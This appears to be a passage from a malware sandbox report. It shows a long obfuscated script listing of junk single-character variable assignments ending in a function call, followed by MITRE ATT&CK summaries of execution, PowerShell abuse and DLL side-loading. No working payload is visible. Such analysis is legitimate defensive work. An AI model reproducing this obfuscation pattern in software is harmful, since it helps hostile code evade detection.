464	nmvfa = "H";
465	nmvfa = "z";
466	nmvfa = "k";
467	nmvfa = "I";
468	nmvfa = "p";
469	nmvfa = "g";
470	nmvfa = "c";
471	nmvfa = "z";
472	nmvfa = "P";
473	nmvfa = "a";
474	nmvfa = "O";
475	nmvfa = "b";
476	nmvfa = "g";
477	nmvfa = "l";
478	nmvfa = "p";
479	nmvfa = "L";
480	nmvfa = "N";
481	nmvfa = "H";
482	nmvfa = "M";
483	nmvfa = "c";
484	nmvfa = "J";
485	nmvfa = "U";
486	nmvfa = "v";
487	nmvfa = "w";
488	nmvfa = "c";
489	nmvfa = "G";
490	nmvfa = "W";
491	nmvfa = "z";
492	nmvfa = "h";
493	nmvfa = ".";
494	bvvmsj = "b";
495	bvvmsj = "L";
496	bvvmsj = "U";
497	bvvmsj = "p";
498	bvvmsj = "g";
499	bvvmsj = "a";
500	bvvmsj = "j";
501	fsbwtbnvl = "W";
502	fsbwtbnvl = "A";
503	fsbwtbnvl = "L";
504	fsbwtbnvl = "O";
505	fsbwtbnvl = "m";
506	fsbwtbnvl = "F";
507	fsbwtbnvl = "A";
508	fsbwtbnvl = "I";
509	fsbwtbnvl = "u";
510	fsbwtbnvl = "a";
511	fsbwtbnvl = "Z";
512	fsbwtbnvl = "p";
513	fsbwtbnvl = "t";
514	fsbwtbnvl = "U";
515	fsbwtbnvl = "V";
516	fsbwtbnvl = "v";
517	fsbwtbnvl = "u";
518	fsbwtbnvl = "J";
519	fsbwtbnvl = "r";
520	fsbwtbnvl = "S";
521	fsbwtbnvl = "c";
522	bnfafi = "G";
523	bnfafi = "z";
524	bnfafi = "G";
525	bnfafi = "a";
526	bnfafi = "R";
527	bnfafi = "R";
528	bnfafi = "Y";
529	bnfafi = "s";
530	bnfafi = "c";
531	bnfafi = "P";
532	bnfafi = "W";
533	bnfafi = "t";
534	bnfafi = "t";
535	bnfafi = "B";
536	bnfafi = "A";
537	bnfafi = "A";
538	bnfafi = "o";
539	bnfafi = "R";
540	bnfafi = "F";
541	bnfafi = "w";
542	bnfafi = "t";
543	bnfafi = "l";
544	bnfafi = "M";
545	bnfafi = "M";
546	bnfafi = "O";
547	bnfafi = "e";
548	bnfafi = "A";
549	bnfafi = "H";
550	bnfafi = "T";
551	bnfafi = "d";
552	bnfafi = "J";
553	bnfafi = "s";
554	ovfvb = "F";
555	ovfvb = "h";
556	ovfvb = "m";
557	ovfvb = "P";
558	ovfvb = "N";
559	ovfvb = "f";
560	ovfvb = "z";
561	ovfvb = "C";
562	ovfvb = "n";
563	ovfvb = "r";
564	ovfvb = "w";
565	ovfvb = "R";
566	ovfvb = "E";
567	ovfvb = "J";
568	ovfvb = "P";
569	ovfvb = "Y";
570	ovfvb = "c";
571	ovfvb = "x";
572	ovfvb = "p";
573	ovfvb = "l";
574	ovfvb = "b";
575	ovfvb = "r";
576	ovfvb = "N";
577	ovfvb = "Q";
578	ovfvb = "v";
579	ovfvb = "S";
580	ovfvb = "w";
581	ovfvb = "I";
582	ovfvb = "l";
583	aavutttc = "b";
584	aavutttc = "H";
585	aavutttc = "O";
586	kixikjkw = "Y";
587	kixikjkw = "Q";
588	kixikjkw = "R";
589	kixikjkw = "Y";
590	kixikjkw = "W";
591	kixikjkw = "V";
592	kixikjkw = "v";
593	kixikjkw = "u";
594	kixikjkw = "J";
595	kixikjkw = "B";
596	kixikjkw = "a";
597	kixikjkw = "V";
598	kixikjkw = "Y";
599	kixikjkw = "C";
600	kixikjkw = "C";
601	kixikjkw = "e";
602	kixikjkw = "K";
603	kixikjkw = "v";
604	kixikjkw = "f";
605	kixikjkw = "m";
606	kixikjkw = "v";
607	kixikjkw = "R";
608	kixikjkw = "l";
609	kixikjkw = "K";
610	kixikjkw = "A";
611	kixikjkw = "o";
612	kixikjkw = "C";
613	kixikjkw = "g";
614	kixikjkw = "P";
615	kixikjkw = "x";
616	kixikjkw = "Z";
617	kixikjkw = "o";
618	kixikjkw = "C";
619	kixikjkw = "U";
620	kixikjkw = "e";
621	kixikjkw = "A";
622	kixikjkw = "B";
623	kixikjkw = "v";
624	kixikjkw = "6";
625	osqojup = "Y";
626	osqojup = "q";
627	osqojup = "q";
628	osqojup = "j";
629	osqojup = "L";
630	osqojup = "c";
631	osqojup = "F";
632	osqojup = "a";
633	osqojup = "U";
634	osqojup = "Y";
635	osqojup = "T";
636	osqojup = "J";
637	osqojup = "u";
638	osqojup = "d";
639	osqojup = "e";
640	osqojup = "G";
641	osqojup = "j";
642	osqojup = "g";
643	osqojup = "D";
644	osqojup = "t";
645	osqojup = "h";
646	osqojup = "H";
647	osqojup = "d";
648	osqojup = "K";
649	osqojup = "g";
650	osqojup = "e";
651	osqojup = "t";
652	osqojup = "y";
653	osqojup = "R";
654	osqojup = "u";
655	osqojup = "s";
656	osqojup = ":";
657	yuhgcixl = "a";
658	yuhgcixl = "f";
659	yuhgcixl = "Z";
660	yuhgcixl = "s";
661	yuhgcixl = "w";
662	yuhgcixl = "r";
663	yuhgcixl = "s";
664	yuhgcixl = "M";
665	yuhgcixl = "W";
666	yuhgcixl = "n";
667	yuhgcixl = "k";
668	yuhgcixl = "Z";
669	yuhgcixl = "e";
670	yuhgcixl = "U";
671	yuhgcixl = "k";
672	yuhgcixl = "K";
673	yuhgcixl = "X";
674	yuhgcixl = "Y";
675	yuhgcixl = "n";
676	yuhgcixl = "q";
677	yuhgcixl = "j";
678	yuhgcixl = "Y";
679	yuhgcixl = "I";
680	yuhgcixl = "s";
681	yuhgcixl = "4";
682	yvijhly = "V";
683	yvijhly = "u";
684	yvijhly = "A";
685	yvijhly = "d";
686	agigse = "h";
687	agigse = "t";
688	agigse = "u";
689	agigse = "f";
690	agigse = "T";
691	agigse = "j";
692	agigse = "t";
693	agigse = "E";
694	agigse = "l";
695	agigse = "P";
696	agigse = "J";
697	agigse = "Z";
698	agigse = "c";
699	agigse = "K";
700	agigse = "E";
701	agigse = "M";
702	agigse = "x";
703	agigse = "t";
704	lqndg = "p";
705	lqndg = "J";
706	lqndg = "U";
707	lqndg = "W";
708	lqndg = "E";
709	lqndg = "n";
710	aypds = "T";
711	aypds = "r";
712	aypds = "c";
713	aypds = "I";
714	aypds = "X";
715	aypds = "K";
716	aypds = "X";
717	aypds = "i";
718	aypds = "U";
719	aypds = "k";
720	aypds = "K";
721	aypds = "u";
722	aypds = "g";
723	aypds = "L";
724	aypds = "y";
725	aypds = "O";
726	aypds = "O";
727	aypds = "J";
728	aypds = "0";
729	scdzv = "M";
730	scdzv = "C";
731	scdzv = "L";
732	scdzv = "V";
733	scdzv = "P";
734	scdzv = "u";
735	scdzv = "j";
736	scdzv = "A";
737	scdzv = "j";
738	scdzv = "i";
739	scdzv = "s";
740	scdzv = "j";
741	scdzv = "v";
742	scdzv = "R";
743	scdzv = "q";
744	scdzv = "b";
745	scdzv = "b";
746	scdzv = "C";
747	scdzv = "C";
748	scdzv = "n";
749	scdzv = "z";
750	scdzv = "o";
751	scdzv = "K";
752	oibzegez = "g";
753	oibzegez = "U";
754	oibzegez = "n";
755	oibzegez = "n";
756	oibzegez = "H";
757	oibzegez = "L";
758	oibzegez = "n";
759	oibzegez = "J";
760	oibzegez = "N";
761	oibzegez = "i";
762	oibzegez = "I";
763	oibzegez = "o";
764	oibzegez = "V";
765	oibzegez = "j";
766	oibzegez = "x";
767	oibzegez = "A";
768	oibzegez = "w";
769	oibzegez = "H";
770	oibzegez = "N";
771	oibzegez = "S";
772	oibzegez = "W";
773	oibzegez = "y";
774	oibzegez = "P";
775	oibzegez = "f";
776	oibzegez = "J";
777	oibzegez = "h";
778	oibzegez = "z";
779	oibzegez = "W";
780	oibzegez = "H";
781	oibzegez = "o";
782	oibzegez = "R";
783	oibzegez = "x";
784	oibzegez = "X";
785	oibzegez = "g";
786	oibzegez = "h";
787	oibzegez = "I";
788	oibzegez = "T";
789	seewrrnhn = "F";
790	seewrrnhn = "C";
791	seewrrnhn = "z";
792	seewrrnhn = "p";
793	seewrrnhn = "Y";
794	seewrrnhn = "a";
795	seewrrnhn = "x";
796	seewrrnhn = "S";
797	seewrrnhn = "y";
798	seewrrnhn = "h";
799	seewrrnhn = "a";
800	seewrrnhn = "H";
801	seewrrnhn = "F";
802	seewrrnhn = "J";
803	seewrrnhn = "A";
804	seewrrnhn = "r";
805	seewrrnhn = "r";
806	seewrrnhn = "J";
807	seewrrnhn = "d";
808	seewrrnhn = "a";
809	seewrrnhn = "A";
810	seewrrnhn = "T";
811	seewrrnhn = "U";
812	seewrrnhn = "u";
813	seewrrnhn = "g";
814	seewrrnhn = "I";
815	seewrrnhn = "w";
816	seewrrnhn = "t";
817	seewrrnhn = "O";
818	seewrrnhn = "\\";
819	cdeixs = "9";
820	ntpltw = "S";
821	ntpltw = "r";
822	ntpltw = "h";
823	ntpltw = "U";
824	ntpltw = "S";
825	ntpltw = "E";
826	ntpltw = "U";
827	ntpltw = "x";
828	ntpltw = "X";
829	ntpltw = "n";
830	ntpltw = "B";
831	ntpltw = "d";
832	ntpltw = "G";
833	ntpltw = "I";
834	ntpltw = "U";
835	ntpltw = "w";
836	ntpltw = "b";
837	ntpltw = "F";
838	ntpltw = "L";
839	ntpltw = "k";
840	ntpltw = "j";
841	ntpltw = "K";
842	ntpltw = "X";
843	ntpltw = "G";
844	ntpltw = "7";
845	azgzocbby = "p";
846	azgzocbby = "N";
847	jpnceg = "X";
848	jpnceg = "q";
849	jpnceg = "K";
850	jpnceg = "H";
851	jpnceg = "I";
852	jpnceg = "u";
853	jpnceg = "f";
854	jpnceg = "r";
855	jpnceg = "X";
856	jpnceg = "m";
857	jpnceg = "A";
858	jpnceg = "r";
859	jpnceg = "B";
860	jpnceg = "g";
861	jpnceg = "H";
862	jpnceg = "j";
863	jpnceg = "W";
864	jpnceg = "y";
865	jpnceg = "A";
866	jpnceg = "F";
867	jpnceg = "r";
868	jpnceg = "l";
869	jpnceg = "G";
870	jpnceg = "d";
871	jpnceg = "%";
872	lcmdqvg = "m";
873	lcmdqvg = "U";
874	lcmdqvg = "H";
875	lcmdqvg = "S";
876	lcmdqvg = "L";
877	lcmdqvg = "U";
878	lcmdqvg = "e";
879	lcmdqvg = "f";
880	lcmdqvg = "n";
881	lcmdqvg = "y";
882	lcmdqvg = "s";
883	lcmdqvg = "Q";
884	lcmdqvg = "l";
885	lcmdqvg = "o";
886	lcmdqvg = "s";
887	lcmdqvg = "a";
888	lcmdqvg = "h";
889	lcmdqvg = "x";
890	lcmdqvg = "J";
891	lcmdqvg = "q";
892	lcmdqvg = "l";
893	lcmdqvg = "K";
894	lcmdqvg = "F";
895	lcmdqvg = "Y";
896	lcmdqvg = "g";
897	lcmdqvg = "G";
898	lcmdqvg = "C";
899	lcmdqvg = "Q";
900	lcmdqvg = "b";
901	lcmdqvg = "h";
902	lcmdqvg = "A";
903	lcmdqvg = "P";
904	lcmdqvg = "u";
905	lcmdqvg = "P";
906	lcmdqvg = "G";
907	lcmdqvg = "2";
908	mribxknzg = "g";
909	mribxknzg = "k";
910	mribxknzg = "e";
911	mribxknzg = "x";
912	mribxknzg = "8";
913	nwcqe = "H";
914	nwcqe = "I";
915	nwcqe = "L";
916	nwcqe = "X";
917	nwcqe = "G";
918	nwcqe = "R";
919	nwcqe = "o";
920	nwcqe = "D";
921	nwcqe = "C";
922	nwcqe = "W";
923	nwcqe = "l";
924	nwcqe = "a";
925	nwcqe = "o";
926	nwcqe = "T";
927	nwcqe = "y";
928	nwcqe = "U";
929	nwcqe = "V";
930	nwcqe = "l";
931	nwcqe = "b";
932	nwcqe = "I";
933	nwcqe = "r";
934	nwcqe = "Y";
935	nwcqe = "N";
936	nwcqe = "v";
937	nwcqe = "J";
938	nwcqe = "k";
939	nwcqe = "d";
940	nwcqe = "K";
941	nwcqe = "G";
942	nwcqe = "r";
943	nwcqe = "t";
944	nwcqe = "u";
945	nwcqe = "j";
946	nwcqe = "f";
947	nwcqe = "x";
948	nwcqe = "K";
949	nwcqe = "j";
950	nwcqe = "R";
951	nwcqe = "I";
952	nwcqe = "J";
953	nwcqe = "C";
954	lodjv = "T";
955	lodjv = "Z";
956	lodjv = "k";
957	lodjv = "b";
958	lodjv = "Z";
959	lodjv = "I";
960	lodjv = "R";
961	lodjv = "D";
962	lodjv = "K";
963	lodjv = "b";
964	lodjv = "Z";
965	lodjv = "X";
966	lodjv = "h";
967	lodjv = "J";
968	lodjv = "T";
969	lodjv = "Y";
970	lodjv = "E";
971	lodjv = "A";
972	lodjv = "c";
973	lodjv = "J";
974	lodjv = "L";
975	lodjv = "p";
976	lodjv = "H";
977	lodjv = "j";
978	lodjv = "W";
979	lodjv = "I";
980	lodjv = "w";
981	lodjv = "c";
982	lodjv = "p";
983	lodjv = "m";
984	lodjv = "z";
985	lodjv = "H";
986	lodjv = "w";
987	lodjv = "J";
988	lodjv = "O";
989	lodjv = "Y";
990	lodjv = "k";
991	uzpeyq = "x";
992	uzpeyq = "j";
993	uzpeyq = "k";
994	uzpeyq = "k";
995	uzpeyq = "J";
996	uzpeyq = "J";
997	uzpeyq = "E";
998	uzpeyq = "s";
999	uzpeyq = "Q";
1000	uzpeyq = "c";
1001	uzpeyq = "d";
1002	uzpeyq = "j";
1003	uzpeyq = "B";
1004	uzpeyq = "b";
1005	uzpeyq = "Z";
1006	uzpeyq = "P";
1007	uzpeyq = "o";
1008	uzpeyq = "f";
1009	uzpeyq = "s";
1010	uzpeyq = "f";
1011	uzpeyq = "L";
1012	uzpeyq = "U";
1013	uzpeyq = "b";
1014	uzpeyq = "P";
1015	uzpeyq = "q";
1016	uzpeyq = "V";
1017	uzpeyq = "X";
1018	uzpeyq = "C";
1019	uzpeyq = "l";
1020	uzpeyq = "O";
1021	uzpeyq = "m";
1022	uzpeyq = "Z";
1023	uzpeyq = "C";
1024	uzpeyq = "o";
1025	uzpeyq = "G";
1026	uzpeyq = "g";
1027	uzpeyq = "p";
1028	uzpeyq = "3";
1029	fehgt = "E";
1030	fehgt = "V";
1031	fehgt = "Q";
1032	fehgt = "m";
1033	fehgt = "i";
1034	fehgt = "O";
1035	fehgt = "x";
1036	fehgt = "R";
1037	fehgt = "R";
1038	fehgt = "i";
1039	fehgt = "R";
1040	fehgt = "h";
1041	fehgt = "V";
1042	fehgt = "C";
1043	fehgt = "u";
1044	fehgt = "D";
1045	fehgt = "t";
1046	fehgt = "r";
1047	fehgt = "v";
1048	fehgt = "z";
1049	fehgt = "D";
1050	fehgt = "w";
1051	fehgt = "w";
1052	flhwosbd = "m";
1053	vncpdzsa = "A";
1054	vncpdzsa = "q";
1055	vncpdzsa = "R";
1056	vncpdzsa = "a";
1057	vncpdzsa = "x";
1058	vncpdzsa = "x";
1059	vncpdzsa = "w";
1060	vncpdzsa = "Q";
1061	vncpdzsa = "u";
1062	vncpdzsa = "d";
1063	vncpdzsa = "n";
1064	vncpdzsa = "U";
1065	vncpdzsa = "b";
1066	vncpdzsa = "X";
1067	vncpdzsa = "o";
1068	vncpdzsa = "Q";
1069	vncpdzsa = "Z";
1070	vncpdzsa = "y";
1071	vncpdzsa = "T";
1072	vncpdzsa = "o";
1073	vncpdzsa = "H";
1074	vncpdzsa = "E";
1075	vncpdzsa = "C";
1076	vncpdzsa = "H";
1077	vncpdzsa = "Z";
1078	vncpdzsa = "l";
1079	vncpdzsa = "L";
1080	vncpdzsa = "J";
1081	vncpdzsa = "u";
1082	vncpdzsa = "E";
1083	vncpdzsa = "H";
1084	vncpdzsa = "H";
1085	vncpdzsa = "&";
1086	appmaln = "e";
1087	appmaln = "X";
1088	appmaln = "k";
1089	appmaln = "q";
1090	appmaln = "i";
1091	appmaln = "y";
1092	appmaln = "E";
1093	appmaln = "Q";
1094	appmaln = "E";
1095	appmaln = "d";
1096	appmaln = "V";
1097	appmaln = "w";
1098	appmaln = "t";
1099	appmaln = "l";
1100	appmaln = "t";
1101	appmaln = "C";
1102	appmaln = "d";
1103	appmaln = "s";
1104	appmaln = "q";
1105	appmaln = "J";
1106	appmaln = "w";
1107	appmaln = "U";
1108	appmaln = "x";
1109	appmaln = "Q";
1110	appmaln = "x";
1111	appmaln = "H";
1112	appmaln = "G";
1113	appmaln = "L";
1114	appmaln = "s";
1115	appmaln = "W";
1116	appmaln = "a";
1117	appmaln = "k";
1118	appmaln = "A";
1119	appmaln = "x";
1120	appmaln = "G";
1121	appmaln = "y";
1122	appmaln = "U";
1123	appmaln = "j";
1124	appmaln = "a";
1125	appmaln = "E";
1126	appmaln = "e";
1127	sjdoirbg = "I";
1128	sjdoirbg = "c";
1129	sjdoirbg = "G";
1130	sjdoirbg = "Y";
1131	sjdoirbg = "A";
1132	sjdoirbg = "K";
1133	sjdoirbg = "b";
1134	sjdoirbg = "J";
1135	sjdoirbg = "N";
1136	sjdoirbg = "o";
1137	sjdoirbg = "O";
1138	sjdoirbg = "u";
1139	sjdoirbg = "E";
1140	sjdoirbg = "k";
1141	sjdoirbg = "G";
1142	sjdoirbg = "Y";
1143	nbjjeu = "X";
1144	nbjjeu = "w";
1145	nbjjeu = "v";
1146	nbjjeu = "a";
1147	nbjjeu = "Q";
1148	nbjjeu = "i";
1149	nbjjeu = "I";
1150	nbjjeu = "v";
1151	nbjjeu = "s";
1152	nbjjeu = "f";
1153	nbjjeu = "T";
1154	nbjjeu = "w";
1155	nbjjeu = "M";
1156	nbjjeu = "c";
1157	nbjjeu = "H";
1158	nbjjeu = "B";
1159	nbjjeu = "D";
1160	nbjjeu = "v";
1161	nbjjeu = "v";
1162	nbjjeu = "s";
1163	nbjjeu = "x";
1164	nbjjeu = "U";
1165	nbjjeu = "E";
1166	nbjjeu = "x";
1167	nbjjeu = "B";
1168	nbjjeu = "M";
1169	nbjjeu = "c";
1170	nbjjeu = "A";
1171	nbjjeu = "V";
1172	nbjjeu = "b";
1173	nbjjeu = "J";
1174	nbjjeu = "a";
1175	nbjjeu = "X";
1176	nbjjeu = "M";
1177	nbjjeu = "O";
1178	nbjjeu = "U";
1179	nbjjeu = "f";
1180	nbjjeu = "k";
1181	nbjjeu = "m";
1182	nbjjeu = "z";
1183	nbjjeu = "f";
1184	nbjjeu = "q";
1185	nbjjeu = "w";
1186	nbjjeu = "F";
1187	rdcbxridc = "o";
1188	rdcbxridc = "R";
1189	rdcbxridc = "P";
1190	rdcbxridc = "T";
1191	rdcbxridc = "C";
1192	rdcbxridc = "G";
1193	rdcbxridc = "N";
1194	rdcbxridc = "p";
1195	rdcbxridc = "m";
1196	rdcbxridc = "Z";
1197	rdcbxridc = "T";
1198	rdcbxridc = "g";
1199	rdcbxridc = "P";
1200	rdcbxridc = "q";
1201	rdcbxridc = "x";
1202	rdcbxridc = "p";
1203	rdcbxridc = "w";
1204	rdcbxridc = "z";
1205	rdcbxridc = "x";
1206	rdcbxridc = "e";
1207	rdcbxridc = "w";
1208	rdcbxridc = "g";
1209	rdcbxridc = "C";
1210	rdcbxridc = "z";
1211	rdcbxridc = "u";
1212	rdcbxridc = "i";
1213	rdcbxridc = "a";
1214	rdcbxridc = "d";
1215	rdcbxridc = "l";
1216	rdcbxridc = "n";
1217	rdcbxridc = "G";
1218	rdcbxridc = "b";
1219	rdcbxridc = "S";
1220	rdcbxridc = "T";
1221	rdcbxridc = "Q";
1222	pnwdjbl = "s";
1223	pnwdjbl = "E";
1224	pnwdjbl = "F";
1225	pnwdjbl = "K";
1226	pnwdjbl = "f";
1227	pnwdjbl = "Q";
1228	pnwdjbl = "V";
1229	pnwdjbl = "Y";
1230	pnwdjbl = "v";
1231	pnwdjbl = "y";
1232	pnwdjbl = "o";
1233	pnwdjbl = "a";
1234	xcmul = "R";
1235	xcmul = "H";
1236	xcmul = "t";
1237	xcmul = "E";
1238	xcmul = "V";
1239	xcmul = "F";
1240	xcmul = "o";
1241	xcmul = "u";
1242	xcmul = "g";
1243	xcmul = "A";
1244	xcmul = "Z";
1245	xcmul = "X";
1246	xcmul = "H";
1247	xcmul = "z";
1248	xcmul = "O";
1249	xcmul = "z";
1250	xcmul = "U";
1251	mxutvztb = "f";
1252	mxutvztb = "N";
1253	mxutvztb = "R";
1254	mxutvztb = "S";
1255	mxutvztb = "B";
1256	mxutvztb = "B";
1257	mxutvztb = "L";
1258	mxutvztb = "5";
1259	lwipr = "c";
1260	lwipr = "s";
1261	lwipr = "t";
1262	lwipr = "b";
1263	lwipr = "a";
1264	lwipr = "d";
1265	lwipr = "a";
1266	lwipr = "b";
1267	lwipr = "d";
1268	lwipr = "w";
1269	lwipr = "d";
1270	lwipr = "R";
1271	lwipr = "s";
1272	lwipr = "V";
1273	lwipr = "R";
1274	lwipr = "w";
1275	lwipr = "X";
1276	lwipr = "H";
1277	lwipr = "M";
1278	lwipr = "P";
1279	lwipr = "s";
1280	lwipr = "L";
1281	lwipr = "m";
1282	lwipr = "o";
1283	lwipr = "y";
1284	lwipr = "/";
1285	vtxsaislv = "W";
1286	vtxsaislv = "y";
1287	vtxsaislv = "F";
1288	vtxsaislv = "a";
1289	vtxsaislv = "w";
1290	vtxsaislv = "U";
1291	vtxsaislv = "l";
1292	vtxsaislv = "f";
1293	vtxsaislv = "k";
1294	vtxsaislv = "p";
1295	cedcygyf = "w";
1296	cedcygyf = "i";
1297	cedcygyf = "c";
1298	cedcygyf = "Q";
1299	cedcygyf = "k";
1300	cedcygyf = "G";
1301	cedcygyf = "s";
1302	cedcygyf = "Q";
1303	cedcygyf = "Y";
1304	cedcygyf = "Q";
1305	cedcygyf = "l";
1306	cedcygyf = "p";
1307	cedcygyf = "L";
1308	cedcygyf = "I";
1309	cedcygyf = "S";
1310	cedcygyf = "X";
1311	cedcygyf = "z";
1312	cedcygyf = "i";
1313	cedcygyf = "S";
1314	cedcygyf = "J";
1315	cedcygyf = "J";
1316	cedcygyf = "a";
1317	cedcygyf = "D";
1318	cedcygyf = "g";
1319	cedcygyf = "x";
1320	cedcygyf = "H";
1321	cedcygyf = "p";
1322	cedcygyf = "U";
1323	cedcygyf = "d";
1324	cedcygyf = "Y";
1325	cedcygyf = "p";
1326	cedcygyf = "g";
1327	cedcygyf = "i";
1328	cedcygyf = "X";
1329	cedcygyf = "I";
1330	rxbnv = "c";
1331	rxbnv = "p";
1332	rxbnv = "d";
1333	rxbnv = "b";
1334	rxbnv = "m";
1335	rxbnv = "X";
1336	rxbnv = "t";
1337	rxbnv = "r";
1338	rxbnv = "D";
1339	rxbnv = "k";
1340	rxbnv = "u";
1341	rxbnv = "g";
1342	rxbnv = "v";
1343	rxbnv = "d";
1344	rxbnv = "i";
1345	rxbnv = "o";
1346	rxbnv = "s";
1347	rxbnv = "i";
1348	rxbnv = "o";
1349	rxbnv = "L";
1350	rxbnv = "g";
1351	rxbnv = "I";
1352	rxbnv = "w";
1353	rxbnv = "G";
1354	rxbnv = "V";
1355	rxbnv = "Z";
1356	rxbnv = "j";
1357	rxbnv = "x";
1358	rxbnv = "w";
1359	rxbnv = "j";
1360	rxbnv = "r";
1361	rxbnv = "x";
1362	rxbnv = "a";
1363	rxbnv = "X";
1364	rxbnv = "z";
1365	rxbnv = "-";
1366	woponsrws = "s";
1367	woponsrws = "H";
1368	woponsrws = "w";
1369	woponsrws = "Y";
1370	woponsrws = "a";
1371	woponsrws = "k";
1372	woponsrws = "x";
1373	woponsrws = "p";
1374	woponsrws = "d";
1375	woponsrws = "H";
1376	woponsrws = "a";
1377	woponsrws = "i";
1378	woponsrws = "p";
1379	woponsrws = "H";
1380	woponsrws = "X";
1381	woponsrws = "m";
1382	woponsrws = "H";
1383	woponsrws = "q";
1384	woponsrws = "L";
1385	woponsrws = "e";
1386	woponsrws = "u";
1387	gissbapjt = "V";
1388	gissbapjt = "t";
1389	gissbapjt = "y";
1390	gissbapjt = "a";
1391	gissbapjt = "K";
1392	gissbapjt = "q";
1393	gissbapjt = "m";
1394	gissbapjt = "E";
1395	gissbapjt = "Z";
1396	gissbapjt = "Z";
1397	gissbapjt = "y";
1398	gissbapjt = "P";
1399	gissbapjt = "R";
1400	gissbapjt = "L";
1401	gissbapjt = "u";
1402	gissbapjt = "d";
1403	gissbapjt = "x";
1404	gissbapjt = "P";
1405	gissbapjt = "H";
1406	gissbapjt = "R";
1407	gissbapjt = "y";
1408	gissbapjt = "s";
1409	gissbapjt = "H";
1410	gissbapjt = "T";
1411	gissbapjt = "x";
1412	gissbapjt = "X";
1413	gissbapjt = "g";
1414	gissbapjt = "L";
1415	gissbapjt = "p";
1416	gissbapjt = "A";
1417	gissbapjt = "H";
1418	gissbapjt = "o";
1419	gissbapjt = "h";
1420	gissbapjt = "N";
1421	gissbapjt = "K";
1422	gissbapjt = "n";
1423	gissbapjt = "f";
1424	gissbapjt = "b";
1425	gissbapjt = "G";
1426	gissbapjt = "I";
1427	gissbapjt = "v";
1428	gissbapjt = "q";
1429	gissbapjt = "\"";
1430	lgyamd = "H";
1431	lgyamd = "U";
1432	lgyamd = "p";
1433	lgyamd = "E";
1434	lgyamd = "U";
1435	lgyamd = "V";
1436	lgyamd = "k";
1437	lgyamd = "Z";
1438	lgyamd = "b";
1439	lgyamd = "r";
1440	lgyamd = "d";
1441	lgyamd = "w";
1442	lgyamd = "S";
1443	lgyamd = "p";
1444	lgyamd = "C";
1445	lgyamd = "c";
1446	lgyamd = "w";
1447	lgyamd = "H";
1448	lgyamd = "y";
1449	lgyamd = "E";
1450	lgyamd = "M";
1451	lgyamd = "D";
1452	lgyamd = "L";
1453	lgyamd = "Y";
1454	lgyamd = "k";
1455	lgyamd = "g";
1456	lgyamd = "j";
1457	lgyamd = "b";
1458	lgyamd = "T";
1459	lgyamd = "C";
1460	lgyamd = "V";
1461	lgyamd = "J";
1462	lgyamd = "Z";
1463	lgyamd = "k";
1464	lgyamd = " ";
1465	emsbyn = "W";
1466	emsbyn = "v";
1467	emsbyn = "L";
1468	emsbyn = "R";
1469	emsbyn = "J";
1470	emsbyn = "e";
1471	emsbyn = "J";
1472	emsbyn = "X";
1473	emsbyn = "u";
1474	emsbyn = "v";
1475	emsbyn = "b";
1476	emsbyn = "G";
1477	emsbyn = "F";
1478	emsbyn = "B";
1479	emsbyn = "U";
1480	emsbyn = "n";
1481	emsbyn = "W";
1482	emsbyn = "r";
1483	nhkalnp = "A";
1484	nhkalnp = "L";
1485	nhkalnp = "N";
1486	nhkalnp = "b";
1487	nhkalnp = "F";
1488	nhkalnp = "n";
1489	nhkalnp = "S";
1490	nhkalnp = "o";
1491	nhkalnp = "z";
1492	nhkalnp = "x";
1493	nhkalnp = "a";
1494	nhkalnp = "Z";
1495	nhkalnp = "s";
1496	nhkalnp = "i";
1497	nhkalnp = "H";
1498	nhkalnp = "G";
1499	nhkalnp = "c";
1500	nhkalnp = "S";
1501	nhkalnp = "x";
1502	nhkalnp = "S";
1503	nhkalnp = "L";
1504	nhkalnp = "j";
1505	nhkalnp = "E";
1506	nhkalnp = "b";
1507	nhkalnp = "X";
1508	nhkalnp = "j";
1509	nhkalnp = "D";
1510	nhkalnp = "z";
1511	nhkalnp = "f";
1512	nofkibhng = "x";
1513	nofkibhng = "Z";
1514	nofkibhng = "T";
1515	nofkibhng = "b";
1516	nofkibhng = "_";
1517	lhecs = "d";
1518	lhecs = "e";
1519	lhecs = "x";
1520	lhecs = "L";
1521	pvygthzh ( );	pvygthzh() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

